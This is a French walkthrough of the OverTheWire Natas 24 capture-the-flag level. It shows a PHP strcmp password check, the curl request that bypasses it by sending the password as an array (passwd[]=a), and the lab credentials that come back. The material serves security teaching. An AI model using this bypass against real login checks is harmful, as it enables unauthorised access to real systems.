Natas 24
Level Goal
Username: natas24
Password: OsRmXFguozKpTZZ5X14zNO43379LZveg
URL: http://natas24.natas.labs.overthewire.org
En se connectant à la page du challenge 24 (curl http://natas24.natas.labs.overthewire.org -u natas24:OsRmXFguozKpTZZ5X14zNO43379LZveg
) on accède à un (nouveau) formulaire qui permet de rentrer un mot de passe avec le code source suivant :
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(!strcmp($_REQUEST["passwd"],"<censored>")){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas25 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>
Rien qu'à voir la tronche du code on peut sentir à la fois la créativité et le challenge qui débordent de cette épreuve. Un lien vers le manuel PHP pour la fonction strcmp.
Pour résumer simplement, la fonction strcmp
compare 2 chaînes de caractère et retourne les valeurs suivantes :
0
si les deux chaînes sont identiques< 0
si la première chaîne est "inférieure" à la seconde> 0
si la première chaîne est "supérieure" à la seconde
Le calcul de "supériorité" ou "infériorité" n'est pas très intéressant dans le cadre de cette épreuve, mais un point d'attention que l'on peut porter sur le code est le suivant : la condition if
s'attend du fait de la présence d'un !
avant l'instruction strcmp()
à ce que le résultat soit inversé ; c'est à dire que strcmp()
retourne un chiffre égal à 0, donc que le mot de passe envoyé corresponde avec celui, masqué, sur le serveur.
Une faille assez connue permettant de bypasser strcmp()
est d'envoyer un array au serveur, ce qui empêchera la comparaison et retournera toujours 0. Ainsi si on envoi la requête suivante :
curl http://natas24.natas.labs.overthewire.org?passwd[]=a -u natas24:OsRmXFguozKpTZZ5X14zNO43379LZveg
On obtient la réponse :
The credentials for the next level are:
Username: natas25
Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c